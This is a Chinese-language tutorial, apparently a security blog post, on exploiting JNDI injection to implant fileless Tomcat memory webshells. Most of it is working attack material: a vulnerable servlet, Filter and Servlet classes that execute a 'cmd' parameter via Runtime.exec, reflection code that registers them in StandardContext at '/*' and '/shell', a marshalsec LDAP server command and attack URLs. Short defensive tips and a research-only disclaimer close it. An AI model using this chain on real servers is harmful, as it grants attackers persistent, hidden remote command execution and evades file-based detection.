无文件攻击实战：利用JNDI注入实现内存马持久化<\/h1>

引言<\/h2>
在当前的Web安全攻防对抗中，内存马凭借其极高的隐蔽性优势，已成为高级攻击者首选的持久化方案。与传统文件型Webshell相比，内存马完全运行于服务器内存中，不产生磁盘文件，能够有效绕过基于文件检测的安全防护。<\/p>
要实现这种无文件落地的内存驻留，需要特定的技术条件作为支撑。当应用存在JNDI注入漏洞时，攻击者可利用JNDI的远程类加载特性，通过精心构造的恶意Reference，在目标服务器的内存中动态植入并执行恶意代码，实现持久化控制。<\/p>

什么是JNDI<\/h2>

JNDI基本概念<\/h3>
JNDI（Java Naming and Directory Interface）是Java命名和目录接口，提供统一的客户端API，使Java应用程序能够与不同的命名服务和目录服务进行交互，比如RMI、LDAP、DNS等。<\/p>
JNDI可通过RMI协议访问远程对象，此时RMI充当JNDI的底层通信实现。例如通过`rmi:\/\/<\/code>URL格式查找RMI注册表中的对象。JNDI的核心入口类就是InitialContext<\/code>。<\/p>`

JNDI注入原理<\/h3>
服务器可能存在这样的代码片段：<\/p>
InitialContext initialContext =<\/span> new<\/span> InitialContext();<\/span>
<\/span><\/span>initialContext.<\/span>lookup<\/span>(<\/span>url);<\/span>
<\/span><\/span><\/code><\/pre>当调用lookup(url)<\/code>方法时，JNDI会根据提供的名称在相应的命名服务（如RMI、LDAP）中查找已注册的对象。如果查找的是一个直接的Java对象，那么返回的是该对象的引用；如果查找的是一个Reference引用对象，JNDI会尝试从指定的代码库地址加载类，并通过对象工厂来构造对象实例。<\/p>
JNDI注入简单实例<\/h3>
服务端代码：<\/strong><\/p>
public<\/span> class<\/span> JNDITest<\/span> extends<\/span> HttpServlet {<\/span>
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    protected<\/span> void<\/span> doGet<\/span>(<\/span>HttpServletRequest req,<\/span> HttpServletResponse resp)<\/span> throws<\/span> ServletException,<\/span> IOException {<\/span>
<\/span><\/span>        String url =<\/span> req.<\/span>getParameter<\/span>(<\/span>"url"<\/span>);<\/span>
<\/span><\/span>        resp.<\/span>getWriter<\/span>().<\/span>println<\/span>(<\/span>url+<\/span>"test"<\/span>);<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            resp.<\/span>getWriter<\/span>().<\/span>println<\/span>(<\/span>url);<\/span>
<\/span><\/span>            InitialContext initialContext =<\/span> new<\/span> InitialContext();<\/span>
<\/span><\/span>            initialContext.<\/span>lookup<\/span>(<\/span>url);<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>NamingException e)<\/span> {<\/span>
<\/span><\/span>            throw<\/span> new<\/span> RuntimeException(<\/span>e);<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>远程对象代码：<\/strong><\/p>
public<\/span> class<\/span> test<\/span> {<\/span>
<\/span><\/span>    public<\/span> test<\/span>()<\/span> {<\/span>
<\/span><\/span>        System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>"JNDI接口创建对象成功！代码注入成功"<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>攻击过程：<\/strong><\/p>

将test类托管到JNDI服务上<\/li>
访问服务器：localhost:8080\/JNDI_Memory\/jnditest?url=ldap:\/\/127.0.0.1:1099\/test<\/code><\/li>
服务端输出test构造函数中的内容，说明成功执行代码<\/li>
<\/ol>
版本要求：<\/strong> 一般需要JDK版本较低，如JDK 8u65<\/p>
注入内存实战<\/h2>
环境搭建<\/h3>
模拟被攻击的服务端<\/h4>
项目结构：<\/strong><\/p>

创建WEB项目<\/li>
配置web.xml<\/li>
创建存在漏洞的servlet类<\/li>
<\/ul>
pom.xml依赖配置：<\/strong><\/p>
<dependency><\/span>
<\/span><\/span>    <groupId><\/span>javax.servlet<\/groupId><\/span>
<\/span><\/span>    <artifactId><\/span>javax.servlet-api<\/artifactId><\/span>
<\/span><\/span>    <version><\/span>3.1.0<\/version><\/span>
<\/span><\/span>    <scope><\/span>provided<\/scope><\/span>
<\/span><\/span><\/dependency><\/span>
<\/span><\/span><\/code><\/pre>web.xml配置：<\/strong><\/p>
<web-app><\/span>
<\/span><\/span>    <servlet><\/span>
<\/span><\/span>        <servlet-name><\/span>JNDITest<\/servlet-name><\/span>
<\/span><\/span>        <servlet-class><\/span>com.jndi.JNDITest<\/servlet-class><\/span>
<\/span><\/span>    <\/servlet><\/span>
<\/span><\/span>    <servlet-mapping><\/span>
<\/span><\/span>        <servlet-name><\/span>JNDITest<\/servlet-name><\/span>
<\/span><\/span>        <url-pattern><\/span>\/jnditest<\/url-pattern><\/span>
<\/span><\/span>    <\/servlet-mapping><\/span>
<\/span><\/span><\/web-app><\/span>
<\/span><\/span><\/code><\/pre>漏洞servlet代码：<\/strong><\/p>
public<\/span> class<\/span> JNDITest<\/span> extends<\/span> HttpServlet {<\/span>
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    protected<\/span> void<\/span> doGet<\/span>(<\/span>HttpServletRequest req,<\/span> HttpServletResponse resp)<\/span> throws<\/span> ServletException,<\/span> IOException {<\/span>
<\/span><\/span>        String url =<\/span> req.<\/span>getParameter<\/span>(<\/span>"url"<\/span>);<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            InitialContext initialContext =<\/span> new<\/span> InitialContext();<\/span>
<\/span><\/span>            initialContext.<\/span>lookup<\/span>(<\/span>url);<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>NamingException e)<\/span> {<\/span>
<\/span><\/span>            throw<\/span> new<\/span> RuntimeException(<\/span>e);<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>模拟攻击的客户端<\/h4>
内存马技术实现<\/h3>
Filter内存马实现<\/h4>
恶意Filter类：<\/strong><\/p>
public<\/span> class<\/span> JNDIFilter<\/span> extends<\/span> HttpFilter {<\/span>
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    public<\/span> void<\/span> doFilter<\/span>(<\/span>ServletRequest request,<\/span> ServletResponse response,<\/span> FilterChain chain)<\/span> throws<\/span> IOException,<\/span> ServletException {<\/span>
<\/span><\/span>        String cmd =<\/span> request.<\/span>getParameter<\/span>(<\/span>"cmd"<\/span>);<\/span>
<\/span><\/span>        Process exec =<\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>cmd);<\/span>
<\/span><\/span>        BufferedReader bufferedReader =<\/span> new<\/span> BufferedReader(<\/span>new<\/span> InputStreamReader(<\/span>exec.<\/span>getInputStream<\/span>()));<\/span>
<\/span><\/span>        String lines =<\/span> ""<\/span>;<\/span>
<\/span><\/span>        while<\/span> ((<\/span>lines =<\/span> bufferedReader.<\/span>readLine<\/span>())<\/span> !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>            response.<\/span>getWriter<\/span>().<\/span>println<\/span>(<\/span>lines);<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>关键技术点<\/h4>
1. 类动态加载技术<\/strong><\/p>
利用ClassLoader的defineClass方法实现类的动态加载：<\/p>
\/\/ 获取当前的上下文类加载器
<\/span><\/span><\/span><\/span>ClassLoader ctx =<\/span> Thread.<\/span>currentThread<\/span>().<\/span>getContextClassLoader<\/span>();<\/span>
<\/span><\/span>\/\/ 通过反射获取defineClass方法
<\/span><\/span><\/span><\/span>Method defineClassMethod =<\/span> ClassLoader.<\/span>class<\/span>.<\/span>getDeclaredMethod<\/span>(<\/span>"defineClass"<\/span>,<\/span> byte<\/span>[].<\/span>class<\/span>,<\/span> int<\/span>.<\/span>class<\/span>,<\/span> int<\/span>.<\/span>class<\/span>);<\/span>
<\/span><\/span>defineClassMethod.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>\/\/ 还原类字节码
<\/span><\/span><\/span><\/span>Class<?><\/span> clazz =<\/span> (<\/span>Class<?>)<\/span> defineClassMethod.<\/span>invoke<\/span>(<\/span>ctx,<\/span> decodes,<\/span> 0<\/span>,<\/span> decodes.<\/span>length<\/span>);<\/span>
<\/span><\/span>Filter filter =<\/span> (<\/span>Filter)<\/span> clazz.<\/span>getDeclaredConstructor<\/span>().<\/span>newInstance<\/span>();<\/span>
<\/span><\/span><\/code><\/pre>2. 字节码转换Base64<\/strong><\/p>
使用Javassist库将类转换为字节码并编码：<\/p>
ClassPool aDefault =<\/span> ClassPool.<\/span>getDefault<\/span>();<\/span>
<\/span><\/span>CtClass ctClass =<\/span> aDefault.<\/span>get<\/span>(<\/span>"JNDIFilter"<\/span>);<\/span>
<\/span><\/span>byte<\/span>[]<\/span> bytecode =<\/span> ctClass.<\/span>toBytecode<\/span>();<\/span>
<\/span><\/span>String base64Code =<\/span> Base64.<\/span>getEncoder<\/span>().<\/span>encodeToString<\/span>(<\/span>bytecode);<\/span>
<\/span><\/span><\/code><\/pre>3. StandardContext获取<\/strong><\/p>
通过类加载器获取StandardContext对象：<\/p>
ClassLoader classLoader =<\/span> Thread.<\/span>currentThread<\/span>().<\/span>getContextClassLoader<\/span>();<\/span>
<\/span><\/span>ParallelWebappClassLoader pwcl =<\/span> (<\/span>ParallelWebappClassLoader)<\/span> classLoader;<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 获取resources字段
<\/span><\/span><\/span><\/span>Field resourcesField =<\/span> getResourcesField(<\/span>pwcl);<\/span>
<\/span><\/span>resourcesField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>Object resources =<\/span> resourcesField.<\/span>get<\/span>(<\/span>pwcl);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 从resources获取context
<\/span><\/span><\/span><\/span>StandardContext standardContext =<\/span> getContextFromResources(<\/span>resources);<\/span>
<\/span><\/span><\/code><\/pre>辅助方法：<\/strong><\/p>
private<\/span> static<\/span> Field getResourcesField<\/span>(<\/span>ParallelWebappClassLoader pwcl)<\/span> {<\/span>
<\/span><\/span>    Class<?><\/span> clazz =<\/span> pwcl.<\/span>getClass<\/span>();<\/span>
<\/span><\/span>    while<\/span> (<\/span>clazz !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            Field field =<\/span> clazz.<\/span>getDeclaredField<\/span>(<\/span>"resources"<\/span>);<\/span>
<\/span><\/span>            return<\/span> field;<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>NoSuchFieldException e)<\/span> {<\/span>
<\/span><\/span>            clazz =<\/span> clazz.<\/span>getSuperclass<\/span>();<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    return<\/span> null<\/span>;<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span>
<\/span><\/span>private<\/span> static<\/span> StandardContext getContextFromResources<\/span>(<\/span>Object resources)<\/span> {<\/span>
<\/span><\/span>    if<\/span> (<\/span>resources instanceof<\/span> StandardRoot)<\/span> {<\/span>
<\/span><\/span>        StandardRoot standardRoot =<\/span> (<\/span>StandardRoot)<\/span> resources;<\/span>
<\/span><\/span>        Field contextField =<\/span> standardRoot.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"context"<\/span>);<\/span>
<\/span><\/span>        contextField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>        Object context =<\/span> contextField.<\/span>get<\/span>(<\/span>standardRoot);<\/span>
<\/span><\/span>        if<\/span> (<\/span>context instanceof<\/span> StandardContext)<\/span> {<\/span>
<\/span><\/span>            return<\/span> (<\/span>StandardContext)<\/span> context;<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    return<\/span> null<\/span>;<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>4. Filter动态注册<\/strong><\/p>
FilterDef filterDef =<\/span> new<\/span> FilterDef();<\/span>
<\/span><\/span>filterDef.<\/span>setFilterName<\/span>(<\/span>"shell"<\/span>);<\/span>
<\/span><\/span>filterDef.<\/span>setFilter<\/span>(<\/span>filter);<\/span>
<\/span><\/span>filterDef.<\/span>setFilterClass<\/span>(<\/span>filter.<\/span>getClass<\/span>().<\/span>getName<\/span>());<\/span>
<\/span><\/span>
<\/span><\/span>FilterMap filterMap =<\/span> new<\/span> FilterMap();<\/span>
<\/span><\/span>filterMap.<\/span>setFilterName<\/span>(<\/span>"shell"<\/span>);<\/span>
<\/span><\/span>filterMap.<\/span>addURLPattern<\/span>(<\/span>"\/*"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>standardContext.<\/span>addFilterDef<\/span>(<\/span>filterDef);<\/span>
<\/span><\/span>standardContext.<\/span>addFilterMap<\/span>(<\/span>filterMap);<\/span>
<\/span><\/span>standardContext.<\/span>filterStart<\/span>();<\/span>
<\/span><\/span><\/code><\/pre>完整的恶意注入类<\/h3>
public<\/span> class<\/span> JNDIInject<\/span> {<\/span>
<\/span><\/span>    public<\/span> JNDIInject<\/span>()<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        \/\/ 获取StandardContext
<\/span><\/span><\/span><\/span>        StandardContext standardContext =<\/span> getStandardContext();<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 还原Filter类
<\/span><\/span><\/span><\/span>        String filterCode =<\/span> "BASE64编码的字节码"<\/span>;<\/span>
<\/span><\/span>        byte<\/span>[]<\/span> decodes =<\/span> Base64.<\/span>getDecoder<\/span>().<\/span>decode<\/span>(<\/span>filterCode);<\/span>
<\/span><\/span>        Filter filter =<\/span> loadFilterFromBytes(<\/span>decodes);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 注册Filter
<\/span><\/span><\/span><\/span>        registerFilter(<\/span>standardContext,<\/span> filter);<\/span>
<\/span><\/span>        System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>"success!!"<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 辅助方法实现...
<\/span><\/span><\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>注入攻击流程<\/h2>
环境准备<\/h3>
1. 启动LDAP服务<\/strong><\/p>
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http:\/\/127.0.0.1\/#JNDIInject"<\/span> 1099<\/span>
<\/span><\/span><\/code><\/pre>2. 启动HTTP服务<\/strong>

在恶意类文件目录下启动Python HTTP服务：<\/p>
python -m http.server 80<\/span>
<\/span><\/span><\/code><\/pre>攻击执行<\/h3>
访问存在漏洞的URL：<\/p>
http:\/\/localhost:8080\/JNDI_Memory\/jnditest?url=ldap:\/\/127.0.0.1:1099\/JNDIInject
<\/code><\/pre>
验证攻击效果<\/h3>
通过Filter执行命令：<\/p>
http:\/\/localhost:8080\/JNDI_Memory\/shell?cmd=whoami
<\/code><\/pre>
Servlet内存马实现<\/h2>
恶意Servlet类<\/h3>
public<\/span> class<\/span> JNDIServlet<\/span> extends<\/span> HttpServlet {<\/span>
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    protected<\/span> void<\/span> doGet<\/span>(<\/span>HttpServletRequest req,<\/span> HttpServletResponse resp)<\/span> throws<\/span> ServletException,<\/span> IOException {<\/span>
<\/span><\/span>        String cmd =<\/span> req.<\/span>getParameter<\/span>(<\/span>"cmd"<\/span>);<\/span>
<\/span><\/span>        Process exec =<\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>cmd);<\/span>
<\/span><\/span>        BufferedReader bufferedReader =<\/span> new<\/span> BufferedReader(<\/span>new<\/span> InputStreamReader(<\/span>exec.<\/span>getInputStream<\/span>()));<\/span>
<\/span><\/span>        String lines =<\/span> ""<\/span>;<\/span>
<\/span><\/span>        while<\/span> ((<\/span>lines =<\/span> bufferedReader.<\/span>readLine<\/span>())<\/span> !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>            resp.<\/span>getWriter<\/span>().<\/span>println<\/span>(<\/span>lines);<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>Servlet注入实现<\/h3>
public<\/span> class<\/span> JNDIServletInject<\/span> {<\/span>
<\/span><\/span>    public<\/span> JNDIServletInject<\/span>()<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        StandardContext standardContext =<\/span> getStandardContext();<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 还原Servlet类
<\/span><\/span><\/span><\/span>        String servletCode =<\/span> "BASE64编码的Servlet字节码"<\/span>;<\/span>
<\/span><\/span>        byte<\/span>[]<\/span> decodes =<\/span> Base64.<\/span>getDecoder<\/span>().<\/span>decode<\/span>(<\/span>servletCode);<\/span>
<\/span><\/span>        Servlet servlet =<\/span> loadServletFromBytes(<\/span>decodes);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 注册Servlet
<\/span><\/span><\/span><\/span>        Wrapper wrapper =<\/span> standardContext.<\/span>createWrapper<\/span>();<\/span>
<\/span><\/span>        wrapper.<\/span>setName<\/span>(<\/span>"shell"<\/span>);<\/span>
<\/span><\/span>        wrapper.<\/span>setLoadOnStartup<\/span>(<\/span>1<\/span>);<\/span>
<\/span><\/span>        wrapper.<\/span>setServletClass<\/span>(<\/span>servlet.<\/span>getClass<\/span>().<\/span>getName<\/span>());<\/span>
<\/span><\/span>        wrapper.<\/span>setServlet<\/span>(<\/span>servlet);<\/span>
<\/span><\/span>        
<\/span><\/span>        standardContext.<\/span>addChild<\/span>(<\/span>wrapper);<\/span>
<\/span><\/span>        standardContext.<\/span>addServletMappingDecoded<\/span>(<\/span>"\/shell"<\/span>,<\/span> "shell"<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>技术总结<\/h2>
JNDI注入内存马特点<\/h3>

无文件持久化<\/strong>：恶意代码完全驻留于内存，无需在磁盘写入任何文件<\/li>
组件多样化<\/strong>：支持多种恶意组件注入<\/li>
高隐蔽性<\/strong>：绕过传统文件检测机制<\/li>
<\/ol>
支持的内存马类型<\/h3>

Servlet内存马<\/strong> - 注册恶意Servlet组件<\/li>
Filter内存马<\/strong> - 注入恶意Filter拦截请求<\/li>
Controller内存马<\/strong> - Spring环境中注册恶意Controller<\/li>
Agent内存马<\/strong> - 通过Java Agent技术修改字节码<\/li>
Listener内存马<\/strong> - 注册事件监听器实现持久化<\/li>
<\/ul>
防御建议<\/h3>

升级JDK版本<\/strong>：使用高版本JDK（如8u191+）限制远程类加载<\/li>
输入验证<\/strong>：对JNDI lookup参数进行严格过滤<\/li>
安全配置<\/strong>：配置JVM安全策略限制外部代码加载<\/li>
监控检测<\/strong>：部署内存马检测工具监控异常行为<\/li>
<\/ol>
后记<\/h2>
该技术标志着攻击手段从传统的文件型Webshell向无文件、内存驻留的高级持久化技术发展，充分利用了Java生态的动态特性和灵活性。随着攻防对抗的不断升级，后续将逐渐加入其他方式的无文件落地内存马实现方案。<\/p>
注意<\/strong>：本文仅用于安全研究和技术学习目的，请勿用于非法用途。<\/p>